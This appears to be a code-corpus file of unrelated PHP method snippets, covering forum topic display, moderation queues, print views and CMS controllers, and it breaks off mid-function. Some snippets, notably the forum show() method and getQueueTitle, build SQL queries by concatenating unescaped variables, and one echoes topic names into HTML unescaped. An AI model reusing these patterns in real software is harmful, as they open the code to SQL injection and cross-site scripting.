"function display($tpl = null){\n $app = JFactory::getApplication();\n $this->plugin = $app->input->get('plugin');\n $this->model = $this->getModel();\n $this->items = $this->model->getItems();\n $this->queue = $this->model->getNextItem($this->plugin);\n parent::display($tpl);\n }", "public function info()\n {\n $iCount = QueueUser::where([\n ['queue_id', '=', $this->c->active]\n ])->count();\n\n $strRes = 'Current queue: \"'. $this->q->name .'\", the queue is currently '. ($this->q->is_open == 1 ? 'open for \"'. $this->getUserLevel($this->q->user_level) .'\"' : 'closed') .' and contains '. $iCount .' user'. ($iCount == 1 ? '' : 's');\n\n // List available queues\n $aQueues = Queue::where([\n ['channel_id', '=', $this->c->id],\n ['id', '!=', $this->q->id]\n ])->get();\n\n if($aQueues && !$aQueues->isEmpty())\n {\n foreach($aQueues AS $oQueue)\n {\n $aQueueNames[] = $oQueue->name;\n }\n $strRes .= \". Available queues: [\". implode(\", \", $aQueueNames) .\"]\";\n }\n\n return $this->returnText($strRes);\n }", "public function display_type($queue_type)\n\t{\n\t\t$type = $this->load_type($queue_type);\n\n\t\tif (!$type->acl_get('queue_discussion'))\n\t\t{\n\t\t\treturn $this->helper->needs_auth();\n\t\t}\n\n\t\t// Mark all topics read\n\t\tif ($this->request->variable('mark', '') == 'topics')\n\t\t{\n\t\t\t$this->tracking->track(ext::TITANIA_QUEUE_DISCUSSION, self::ALL_TYPES);\n\t\t}\n\n\t\t$this->display->assign_global_vars();\n\t\t$this->generate_navigation('queue_discussion');\n\n\t\t// Add to Breadcrumbs\n\t\t$this->display->generate_breadcrumbs(array(\n\t\t\t$type->lang['lang']\t=> $this->get_type_url($type),\n\t\t));\n\n\t\t\\topics_overlord::display_forums_complete('queue_discussion', false, array('topic_category' => $type->id));\n\n\t\t// Mark all topics read\n\t\t$this->template->assign_var('U_MARK_TOPICS', $this->get_type_url($type, array('mark' => 'topics')));\n\n\t\treturn $this->helper->render('manage/queue_discussion.html', 'QUEUE_DISCUSSION');\n\t}", "function show()\n\t{\n\t\t$this->process();\n\t\t\n\t\tif($this->topic_id)\n\t\t{\n\t\t\t$akt_topic = selectOne(\"SELECT * FROM `\".$this->prefix.\"topic` WHERE `topic_id`=\".$this->topic_id);\n\n\t\t\t$posts_str = \"\";\n\n\t\t\t$post_where = \"WHERE `post_topic`=\".$this->topic_id.($this->isHavePriv(FORUM_PRIV_POST_PUB)?\"\":\" AND `post_pub`=1\").\" ORDER BY `post_time` DESC\";\n\n\t\t\t$post_pager = new lapozo($this->prefix.'post',$post_where,$this->post_pager_get,$this->post_per_page); \n\n\t\t\tforeach(doSelect(\"SELECT * FROM `\".$this->prefix.\"post` \".$post_where.\" \".$post_pager->getLimit()) as $post)\n\t\t\t{\n\t\t\t\t$post['post_body'] = nl2br($post['post_body']);\n\t\t\t\tforeach($this->smiles as $val)\n\t\t\t\t{\n\t\t\t\t\tif(is_array($val['short'])) \n\t\t\t\t\t{\n\t\t\t\t\t\tforeach($val['short'] as $val2)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$post['post_body'] = str_replace($val2,'<img src=\"'.$val['url'].'\" alt=\"'.$val['name'].'\" />',$post['post_body']);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse $post['post_body'] = str_replace($val['short'],'<img src=\"'.$val['url'].'\" alt=\"'.$val['name'].'\" />',$post['post_body']);\n\n\t\t\t\t}\n\n\t\t\t\t$reply_to_v = 0;\n\t\t\t\tif($post['post_reply_to'])\n\t\t\t\t{\n\t\t\t\t\t$reply_to_v = selectOne(\"SELECT `post_time`,`post_sender` FROM `\".$this->prefix.\"post` WHERE `post_id`=\".$post['post_reply_to']);\n\t\t\t\t}\n\t\t\t\t$posts_str .= $this->templates[FORUM_TEMPLATE_POSTLIST_ELEM]->getTrans(\n\t\t\t\t\t\t\t\t\tarray_merge($post,array(\n\t\t\t\t\t\t\t\t\t\"sender\"=>$this->getUserName($post['post_sender']),\n\t\t\t\t\t\t\t\t\t\"reply_to_user\"=>$reply_to_v?$this->getUserName(($reply_to_v['post_sender'])):\"\",\n\t\t\t\t\t\t\t\t\t\"reply_to_post_id\"=>$post['post_reply_to'],\n\t\t\t\t\t\t\t\t\t\"reply_to_post_time\"=>$reply_to_v?$reply_to_v['post_time']:0,\n\t\t\t\t\t\t\t\t\t\"reply_to_link\"=>addDelGET(array($this->reply_to_get=>$post['post_id']),array(\"rt\")),\n\t\t\t\t\t\t\t\t\t\"pub\"=>$post['post_pub']?\"unpub\":\"pub\",\n\t\t\t\t\t\t\t\t\t\"del\"=>\"del\",\n\t\t\t\t\t\t\t\t\t\"del_bizt\"=>\"del_bizt\",\n\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"post_operation\"><input type=\"hidden\" name=\"post_id\" value=\"'.$post['post_id'].'\">',\n\t\t\t\t\t\t\t\t\t\"del_priv\"=>$this->isHavePriv(FORUM_PRIV_POST_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\"pub_priv\"=>$this->isHavePriv(FORUM_PRIV_POST_PUB)?1:0\n\t\t\t\t\t\t\t\t\t\t)));\n\t\t\t}\n\n\t\t\techo $this->templates[FORUM_TEMPLATE_POSTVIEW]->getTrans(array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"body\"=>$posts_str,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"pager\"=>$post_pager->getButtons(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"reply_to\"=>$this->getUserName($this->getUserFromPost($this->reply_to_id)),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"reply_to_id\"=>$this->reply_to_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"forum_send\">',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"textarea\"=>'body',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"navigator\"=>$this->getPosition($this->cat_id),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"position\"=>$akt_topic['topic_name'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"user_id\"=>isNumber($this->akt_user)?$this->akt_user:0\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t));\n\t\t\t\n\t\t}\n\t\telse \n\t\t{\n\t\t\t$akt_cat = selectOne(\"SELECT * FROM `\".$this->prefix.\"cat` WHERE `cat_id`=\".$this->cat_id);\n\n\n\t\t\t$cat_where = \"WHERE `cat_parent`=\".$this->cat_id.\" \".($this->isHavePriv(FORUM_PRIV_CAT_PUB)?\"\":\" AND `cat_pub`=1\").\" ORDER BY `cat_name` \";\n\n\t\t\t$cat_pager = new lapozo($this->prefix.'cat',$cat_where,$this->cat_pager_get,$this->cat_per_page); \n\n\t\t\t$catlist_str = \"\";\n\t\t\t\n\t\t\t$cat_sorsz=0;\n\n\t\t\tforeach(doSelect(\"SELECT * FROM `\".$this->prefix.\"cat` \".$cat_where.\" \".$cat_pager->getLimit()) as $cat)\n\t\t\t{\n\t\t\t\t$catlist_str .= $this->templates[FORUM_TEMPLATE_CATLIST_ELEM]->getTrans(\n\t\t\t\t\t\t\t\t\t\t\tarray_merge($cat,array(\n\t\t\t\t\t\t\t\t\t\t\"link\"=>addDelGET(array($this->cat_get=>$cat['cat_id']),array(\"rt\")),\n\t\t\t\t\t\t\t\t\t\t\"pub\"=>$cat['cat_pub']?\"unpub\":\"pub\",\n\t\t\t\t\t\t\t\t\t\t\"del\"=>\"del\",\n\t\t\t\t\t\t\t\t\t\t\"del_bizt\"=>\"del_bizt\",\n\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"cat_operation\"><input type=\"hidden\" name=\"cat_id\" value=\"'.$cat['cat_id'].'\">',\n\t\t\t\t\t\t\t\t\t\t\"del_priv\"=>$this->isHavePriv(FORUM_PRIV_CAT_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\t\"pub_priv\"=>$this->isHavePriv(FORUM_PRIV_CAT_PUB)?1:0,\n\t\t\t\t\t\t\t\t\t\t\"sorszam\"=>$cat_sorsz++,\n\t\t\t\t\t\t\t\t\t\t\"created_by\"=>$this->getUserName($cat['cat_created_by'])\n\t\t\t\t\t\t\t\t\t\t\t)));\n\t\t\t}\n\n\n\n\t\t\t$topic_where = \"WHERE `topic_cat`=\".$this->cat_id.\" \".($this->isHavePriv(FORUM_PRIV_TOPIC_PUB)?\"\":\" AND `topic_pub`=1\").\" ORDER BY `topic_name` \";\n\n\t\t\t$topic_pager = new lapozo($this->prefix.'topic',$topic_where,$this->topic_pager_get,$this->topic_per_page); \n\t\t\t\n\t\t\t$topic_sorsz = 0;\n\n\t\t\t$topiclist_str = \"\";\n\t\t\tforeach(doSelect(\"SELECT * FROM `\".$this->prefix.\"topic` \".$topic_where.\" \".$topic_pager->getLimit()) as $topic)\n\t\t\t{\n\t\t\t\t$topiclist_str .= $this->templates[FORUM_TEMPLATE_TOPICLIST_ELEM]->getTrans(\n\t\t\t\t\t\t\t\t\t\tarray_merge($topic,array(\n\t\t\t\t\t\t\t\t\t\t\"link\"=>addDelGET(array($this->topic_get=>$topic['topic_id']),array(\"rt\")),\n\t\t\t\t\t\t\t\t\t\t\"pub\"=>$topic['topic_pub']?\"unpub\":\"pub\",\n\t\t\t\t\t\t\t\t\t\t\"del\"=>\"del\",\n\t\t\t\t\t\t\t\t\t\t\"del_bizt\"=>\"del_bizt\",\n\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"topic_operation\"><input type=\"hidden\" name=\"topic_id\" value=\"'.$topic['topic_id'].'\">',\n\t\t\t\t\t\t\t\t\t\t\"del_priv\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\t\"pub_priv\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_PUB)?1:0,\n\t\t\t\t\t\t\t\t\t\t\"sorszam\"=>$topic_sorsz++,\n\t\t\t\t\t\t\t\t\t\t\"created_by\"=>$this->getUserName($topic['topic_created_by']),\n\t\t\t\t\t\t\t\t\t\t\"last_msg\"=>selectMezo(\"SELECT max(`post_time`) as maxtime FROM `\".$this->prefix.\"post` WHERE `post_topic`=\".$topic['topic_id'],\"maxtime\")\n\t\t\t\t\t\t\t\t\t\t\t)));\n\t\t\t}\n\n\t\t\techo $this->templates[FORUM_TEMPLATE_CATVIEW]->getTrans(\n\t\t\t\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_pager\"=>$cat_pager->getButtons(),\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_body\"=>$catlist_str,\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_cnt\"=>$topic_sorsz,\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_cnt\"=>$cat_sorsz,\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_del_priv\"=>$this->isHavePriv(FORUM_PRIV_CAT_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\t\t\t\"cat_pub_priv\"=>$this->isHavePriv(FORUM_PRIV_CAT_PUB)?1:0,\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_del_priv\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_DEL)?1:0,\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_pub_priv\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_PUB)?1:0,\n\t\t\t\t\t\t\t\t\t\t\t\t\"new_cat_form\"=>$this->isHavePriv(FORUM_PRIV_CAT_CREATE)?$this->templates[FORUM_TEMPLATE_NEWCAT_FORM]->getTrans(array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"cat_name_input_name\"=>\"cat_name\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"new_cat\" />'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)):\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_pager\"=>$topic_pager->getButtons(),\n\t\t\t\t\t\t\t\t\t\t\t\t\"topic_body\"=>$topiclist_str,\n\t\t\t\t\t\t\t\t\t\t\t\t\"new_topic_form\"=>$this->isHavePriv(FORUM_PRIV_TOPIC_CREATE)?$this->templates[FORUM_TEMPLATE_NEWTOPIC_FORM]->getTrans(array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"topic_name_input_name\"=>\"topic_name\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"hidden_zone\"=>'<input type=\"hidden\" name=\"action\" value=\"new_topic\" />'\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)):\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"navigator\"=>$this->getPosition($this->cat_id),\n\t\t\t\t\t\t\t\t\t\t\t\t\"position\"=>$akt_cat['cat_name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t));\n\t\t\t\n\t\t}\n\t}", "public function show(printQueue $printQueue)\n {\n //\n }", "public function flush()\r\n {\r\n $f = \"\";\r\n foreach (self::$instance->_queue as $q) {\r\n $f .= self::$instance->show($q['title'], $q['output']);\r\n }\r\n return $f;\r\n }", "public function show(Topic $topic)\n {\n //\n }", "public function show(Topic $topic)\n {\n //\n }", "public function show(Topic $topic)\n {\n //\n }", "function getQueueTitle( $queue ) {\n\t\t$query = \"SELECT rs.`title` AS queue FROM `\".BIT_DB_PREFIX.\"task_roomstat` rs WHERE rs.`terminal` = 80 + $queue\";\n\t\treturn $this->mDb->getOne( $query );\n\t}", "public function queue(): string\n {\n return $this->queue;\n }", "public function showAction()\n {\n $this->setPageTitle(sprintf($this->_('Show %s'), $this->getTopic()));\n\n $model = $this->getModel();\n // NEAR FUTURE:\n // $this->addSnippet('ModelVerticalTableSnippet', 'model', $model, 'class', 'displayer');\n $repeater = $model->loadRepeatable();\n $table = $this->getShowTable();\n $table->setOnEmpty(sprintf($this->_('Unknown %s.'), $this->getTopic(1)));\n $table->setRepeater($repeater);\n $table->tfrow($this->createMenuLinks($this->menuShowIncludeLevel), array('class' => 'centerAlign'));\n\n if ($menuItem = $this->findAllowedMenuItem('edit')) {\n $table->tbody()->onclick = array('location.href=\\'', $menuItem->toHRefAttribute($this->getRequest()), '\\';');\n }\n\n $tableContainer = \\MUtil_Html::create('div', array('class' => 'table-container'), $table);\n $this->html[] = $tableContainer;\n }", "public static function display_queue($type, $queue_status = ext::TITANIA_QUEUE_NEW, $sort = false)\n\t{\n\t\tif ($sort === false)\n\t\t{\n\t\t\t// Setup the sort tool\n\t\t\t$sort = self::build_sort();\n\t\t}\n\t\t$sort->request();\n\n\t\t$controller_helper = phpbb::$container->get('phpbb.titania.controller.helper');\n\t\t$path_helper = phpbb::$container->get('path_helper');\n\t\t$tracking = phpbb::$container->get('phpbb.titania.tracking');\n\n\t\t$queue_ids = array();\n\n\t\t$sql_ary = array(\n\t\t\t'SELECT' => 'q.*, c.*, r.*, t.*, u.username as topic_first_post_username, u.user_colour as topic_first_post_user_colour, ul.username as topic_last_post_username, ul.user_colour as topic_last_post_user_colour, tp.topic_posted',\n\n\t\t\t'FROM'\t\t=> array(\n\t\t\t\tTITANIA_QUEUE_TABLE\t\t=> 'q',\n\t\t\t\tTITANIA_CONTRIBS_TABLE\t=> 'c',\n\t\t\t\tTITANIA_REVISIONS_TABLE\t=> 'r',\n\t\t\t\tTITANIA_TOPICS_TABLE\t=> 't',\n\t\t\t),\n\n\t\t\t'LEFT_JOIN'\t=> array(\n\t\t\t\tarray(\n\t\t\t\t\t'FROM'\t=> array(TITANIA_TOPICS_POSTED_TABLE => 'tp'),\n\t\t\t\t\t'ON'\t=> 'tp.topic_id = t.topic_id AND tp.user_id = ' . (int) phpbb::$user->data['user_id'],\n\t\t\t\t),\n\t\t\t),\n\n\t\t\t'WHERE' => 'q.queue_type = ' . (int) $type .\n\t\t\t\t(($queue_status) ? ' AND q.queue_status = ' . (int) $queue_status : ' AND q.queue_status > 0 ') . '\n\t\t\t\tAND c.contrib_id = q.contrib_id\n\t\t\t\tAND r.revision_id = q.revision_id\n\t\t\t\tAND t.topic_id = q.queue_topic_id',\n\n\t\t\t'ORDER_BY'\t=> $sort->get_order_by(),\n\t\t);\n\n\t\t$sql_ary['LEFT_JOIN'][] = array(\n\t\t\t'FROM'\t=> array(USERS_TABLE => 'u'),\n\t\t\t'ON'\t=> 't.topic_first_post_user_id = u.user_id',\n\t\t);\n\n\t\t$sql_ary['LEFT_JOIN'][] = array(\n\t\t\t'FROM'\t=> array(USERS_TABLE => 'ul'),\n\t\t\t'ON'\t=> 't.topic_last_post_user_id = ul.user_id',\n\t\t);\n\n\t\t$tracking->get_track_sql($sql_ary, ext::TITANIA_TOPIC, 't.topic_id');\n\n\t\t// Main SQL Query\n\t\t$sql = phpbb::$db->sql_build_query('SELECT', $sql_ary);\n\n\t\t// Handle pagination\n\t\tif (!$sort->sql_count($sql_ary, 'q.queue_id'))\n\t\t{\n\t\t\t// No results...no need to query more...\n\t\t\treturn;\n\t\t}\n\n\t\t$url_parts = $path_helper->get_url_parts($controller_helper->get_current_url());\n\t\t$sort->build_pagination($url_parts['base'], $url_parts['params']);\n\n\t\t$queue_ids = $user_ids = array();\n\n\t\t// Get the data\n\t\t$result = phpbb::$db->sql_query_limit($sql, $sort->limit, $sort->start);\n\n\t\twhile ($row = phpbb::$db->sql_fetchrow($result))\n\t\t{\n\t\t\t// Store the tracking info we grabbed from the DB\n\t\t\t$tracking->store_from_db($row);\n\n\t\t\t$queue_ids[] = $row['queue_id'];\n\t\t\t$user_ids[] = $row['topic_first_post_user_id'];\n\t\t\t$user_ids[] = $row['topic_last_post_user_id'];\n\t\t\t$user_ids[] = $row['submitter_user_id'];\n\n\t\t\tself::$queue[$row['queue_id']] = $row;\n\t\t}\n\t\tphpbb::$db->sql_freeresult($result);\n\n\t\tusers_overlord::load_users($user_ids);\n\n\t\t$topic = new titania_topic;\n\n\t\tforeach ($queue_ids as $queue_id)\n\t\t{\n\t\t\t$row = self::$queue[$queue_id];\n\n\t\t\t$topic->__set_array($row);\n\t\t\t$topic->topic_posted = $row['topic_posted'];\n\n\t\t\tphpbb::$template->assign_block_vars('topics', array_merge($topic->assign_details(), array(\n\t\t\t\t'TOPIC_SUBJECT'\t\t\t\t=> $row['contrib_name'] . ' - ' . $row['revision_version'],\n\t\t\t\t'S_TOPIC_PROGRESS'\t\t\t=> ($row['queue_progress']) ? true : false,\n\t\t\t\t'U_VIEW_TOPIC'\t\t\t\t=> $topic->get_url(false, array('tag' => $queue_status)),\n\t\t\t\t'S_TESTED'\t\t\t\t\t=> ($row['queue_tested']) ? true : false,\n\t\t\t)));\n\t\t}\n\n\t\tunset($topic);\n\n\t\tphpbb::$template->assign_vars(array(\n\t\t\t'S_TOPIC_LIST'\t\t=> true,\n\t\t));\n\n\t\t// Assign common stuff for topics list\n\t\ttopics_overlord::assign_common();\n\t}", "public function getNextQueueItem() {\n $select = db_select($this->og_controller->queue_table, 'queue');\n $select->condition('queue.processed', 0);\n $select->fields('queue', array('entity_type', 'entity_id'));\n $select->range(0, 1);\n\n if ($item = $select->execute()->fetchObject()) {\n return new Dumper_Data_QueueItem($this->og_controller->og_node->nid, $item->entity_type, $item->entity_id);\n }\n\n return FALSE;\n }", "public function getQueue()\n {\n return $this->doRequest('GET', \"queue\", []);\n }", "function _show_topic() {\n\n\t\t$_posts_per_page = !empty(module('forum')->USER_SETTINGS['POSTS_PER_PAGE']) ? module('forum')->USER_SETTINGS['POSTS_PER_PAGE'] : module('forum')->SETTINGS['NUM_POSTS_ON_PAGE'];\n\n\t\tif (!module('forum')->SETTINGS['ALLOW_PRINT_TOPIC']) {\n\t\t\treturn module('forum')->_show_error('Print topic is disabled');\n\t\t}\n\n\t\tmain()->NO_GRAPHICS = true;\n\n\t\t$topic_id = intval($_GET['id']);\n\n\t\t// Get topic info\n\t\t$topic_info = db()->query_fetch('SELECT * FROM '.db('forum_topics').' WHERE id='.intval($topic_id).' LIMIT 1');\n\t\tif (empty($topic_info)) {\n\t\t\treturn '';\n\t\t}\n\t\t?>\n<html>\n<head>\n<title><?php echo $topic_info['name']?></title>\n<style type=\"text/css\">\n<!--\ntd, p, div\n{\n\tfont: 10pt verdana;\n}\n.smallfont\n{\n\tfont-size: 11px;\n}\n.tborder\n{\n\tborder: 1px solid #808080;\n}\n.thead\n{\n\tbackground-color: #EEEEEE;\n}\n.page\n{\n\tbackground-color: #FFFFFF;\n\tcolor: #000000;\n}\n-->\n</style>\n</head>\n<body class=\"page\">\n\t\t<?php\n\n\t\techo \"<a href='\".process_url(\"./?object=forum&action=view_topic&id=\".$topic_id).\"'><b>\".$topic_info[\"name\"].\"</b></a><br/>\".PHP_EOL;\n\t\t// Prepare SQL query\n\t\t$sql = 'SELECT * FROM '.db('forum_posts').' WHERE topic='.$topic_id;\n\t\t$order_by = ' ORDER BY created ASC ';\n\t\tlist($add_sql, $pages, $topic_num_posts) = common()->divide_pages($sql, null, null, $_posts_per_page);\n\n\t\tif (!empty($pages))\n\t\t {\n\t\t\techo '<br /><small>Pages: '.$pages.'</small>'.PHP_EOL;\n\t\t }\n\n\t\techo '<BR>';\n\t\t// Init bb codes module\n\t\t$BB_OBJ = _class('bb_codes');\n\t\t// Process posts\n\t\t$Q = db()->query($sql. $order_by. $add_sql);\n\t\twhile ($post_info = db()->fetch_assoc($Q))\n\t\t {\n\t\t ?>\n<table class=\"tborder\" cellpadding=\"6\" cellspacing=\"1\" border=\"0\" width=\"100%\">\n <tr>\n\t<td class=\"page\">\n\t\t<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" width=\"100%\">\n\t\t <tr valign=\"bottom\">\n\t\t\t<td style=\"font-size:14pt\"><?php echo _prepare_html($post_info['user_name'])?></td>\n\t\t\t<td class=\"smallfont\" align=\"right\"><?php echo _format_date($post_info['created'], 'long')?></td>\n\t\t </tr>\n\t\t</table>\n\t\t<hr/>\n\t\t<div><?php echo $BB_OBJ->_process_text($post_info['text'])?></div>\n\t</td>\n </tr>\n</table>\n<br/>\n\t\t <?php\n\t\t }\n\t\techo '</body></html>';\n\t}", "public function getTopic() {}", "public function getOneTopic()\n\t{\n\t\tglobal $ilDB;\n\t\t\n\t\t$data_type = array();\n\t\t$data_value = array();\n\t\t\n\t\t$query = 'SELECT * FROM frm_data WHERE ';\n\t\t\n\t\tif($this->getMDB2Query() != '' && $this->getMDB2DataType() != '' && $this->getMDB2DataValue() != '')\n\t\t{\n\t\t\t$query .= ''.$this->getMDB2Query().'';\n\t\t\t$data_type = $data_type + $this->getMDB2DataType();\n\t\t\t$data_value = $data_value + $this->getMDB2DataValue();\n\n\t\t\t$res = $ilDB->queryf($query, $data_type, $data_value);\t\t\t\n\t\t\t$row = $ilDB->fetchAssoc($res);\n\t\t\t\n\t\t\tif(is_null($row)) return NULL;\n\t\t\t\n\t\t\t$row[\"top_name\"] = trim($row[\"top_name\"]);\n\t\t\t$row[\"top_description\"] = nl2br($row[\"top_description\"]);\n\n\t\t\treturn $row;\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\t\t\t\n\t\t\t$query .= '1 = 1';\n\t\t\n\t\t\t$res = $ilDB->query($query);\t\t\t\n\t\t\t$row = $ilDB->fetchAssoc($res);\n\t\t\t\n\t\t\tif(!is_array($row) || !count($row)) return null;\n\t\t\t\n\t\t\t$row['top_name'] = trim($row['top_name']);\n\t\t\t$row['top_description'] = nl2br($row['top_description']);\n\t\n\t\t\treturn $row;\t\t\t\n\t\t}\n\t}", "abstract public function print_item();", "function ShowItemPrint($class, $ParamArr = array())\r\n\t{\r\n\t\tglobal $member_id, $metatags;\r\n\t\tif(isset($_GET['id']))\r\n\t\t{\r\n\t\t\t$IId = $_GET['id'];\r\n\t\t\t$Items = $this->GetRecord($class, $IId);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$MesData = \"Неправильный запрос вы будете перенаправлены на главну страницу <br /><a href=\\\"\".$this->GetLinkTag(\"main\").\"\\\">На главную</a>\";\t\r\n\t\t\treturn $this->MakeTemplate($this->templates['message'], array(\"msg\"=>$MesData), \"content\");\r\n\t\t}\r\n\t\t$CurItem = $Items[0];\r\n\t\t$metatags['title'] \t\t\t= $CurItem['title'].\" :: \".$this->MyConfig['title']['value'];\r\n\t\tif(isset($CurItem['description']))\r\n\t\t{\r\n\t\t\t$metatags['description'] \t= $CurItem['description'];\r\n\t\t}\t\r\n\t\t$ArrVar = array();\r\n\t\t\r\n\t\t$ArrVar['breadcrumbs'] = $this->GenerateCrumbs($class, $CurItem);\r\n\t\t\r\n\t\t//$ArrVar = $this->ShowComments($CurItem);\r\n\t\tforeach($CurItem as $key=>$value)\r\n\t\t{\r\n\t\t\t$CurItem[$key] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key]);\r\n\t\t\tif($this->MyClasses[$class]['db'][$key]==\"img\")\r\n\t\t\t{\r\n\t\t\t\t$CurItem[\"\".$key.\"_thumb\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_thumb\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_thumb_raw\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_thumb_raw\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_raw\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_raw\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_complete\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_complete\");\r\n\t\t\t}\r\n\t\t\tif($this->MyClasses[$class]['db'][$key]==\"unlimg\")\r\n\t\t\t{\r\n\t\t\t\t$CurItem[\"\".$key.\"_thumb\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_thumb\");\r\n\t\t\t\t$CurItem[\"\".$key.\"_complete\"] = $this->GetTrueValue($value, $this->MyClasses[$class]['db'][$key].\"_complete\");\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(isset($this->MyClasses[$class]['commcl'])&&$this->MyClasses[$class]['commcl']!=\"\")\r\n\t\t{\r\n\t\t\t$CurItem['comments'] = $this->ShowComments($class, $CurItem['id']);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$CurItem['comments'] = \"\";\r\n\t\t}\r\n\t\tif($member_id['user_group']==\"1\")\r\n\t\t{\r\n\t\t\t$CurItem[\"adm_links\"] = \"<a href=\\\"\".$this->GetLink($class, \"edit\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"Edit\").\"</a> | <a href=\\\"\".$this->GetLink($class, \"delete\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"Delete\").\"</a>\";\r\n\t\t\tif(isset($this->ModerSets[''.$class.'']))\r\n\t\t\t{\r\n\t\t\t\t// moderation links go here\r\n\t\t\t\tif($CurItem['published']==\"1\")\r\n\t\t\t\t{\r\n\t\t\t\t\t$CurItem[\"adm_links\"] .= \" | <a href=\\\"\".$this->GetLink($class, \"unpublish\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"unpubl\").\"</a>\"; \r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t$CurItem[\"adm_links\"] .= \" | <a href=\\\"\".$this->GetLink($class, \"publish\", array(\"id\"=>$IId)).\"\\\">\".$this->GetLangVar(\"publ\").\"</a>\";\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$CurItem[\"adm_links\"] = \"\";\r\n\t\t}\r\n\t\t\r\n\t\t$ArrVar = array_merge($ArrVar, $CurItem);\r\n\t\t$PlugDataArr = array();\r\n\t\tforeach($this->Plugins as $key=>$value)\r\n\t\t{\r\n\t\t\t$PlugDataArr = $this->LoadPlugin($key, \"ShowFull\", $ArrVar);\r\n\t\t}\r\n\t\t$ArrVar = array_merge($ArrVar, $PlugDataArr);\r\n\t\t\r\n\t\tif(isset($ParamArr['tpl']))\r\n\t\t{\r\n\t\t\t$TemplateLoad = $ParamArr['tpl'];\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t//$TemplateLoad = $this->MyClasses[$class]['tpl']['full'];\r\n\t\t\t$TemplateLoad = \"templates/artprint.tpl\";//$this->MyClasses[$class]['tpl']['fullprint'];\r\n\t\t}\r\n\t\t\t\r\n\t\t//$ArrVar = array_merge($ArrVar, $this->GetAdminLinks($class, \"ShowItem\"));\r\n\t\treturn $this->MakeTemplate($TemplateLoad, $ArrVar, \"content\", true);\r\n\t}", "public function actionQueue(){\n\t\t$model = new XUploadForm;\n\t\t$this->render('queue', array(\n\t\t\t'model' => $model,\n\t\t));\n\t}", "protected function forum_queue_edit()\n\t{\n\t\tif (!$this->phpbb_post_id)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\t$forum_id = self::get_queue_forum_id($this->topic->topic_category, $this->post_type);\n\n\t\tif (!$forum_id)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\ttitania::_include('functions_posting', 'phpbb_posting');\n\n\t\t$path_helper = phpbb::$container->get('path_helper');\n\t\t$post_text = $this->post_text;\n\n\t\thandle_queue_attachments($this, $post_text);\n\t\tmessage::decode($post_text, $this->post_text_uid);\n\n\t\t$post_text .= \"\\n\\n\" . $path_helper->strip_url_params($this->get_url(), 'sid');\n\n\t\t$options = 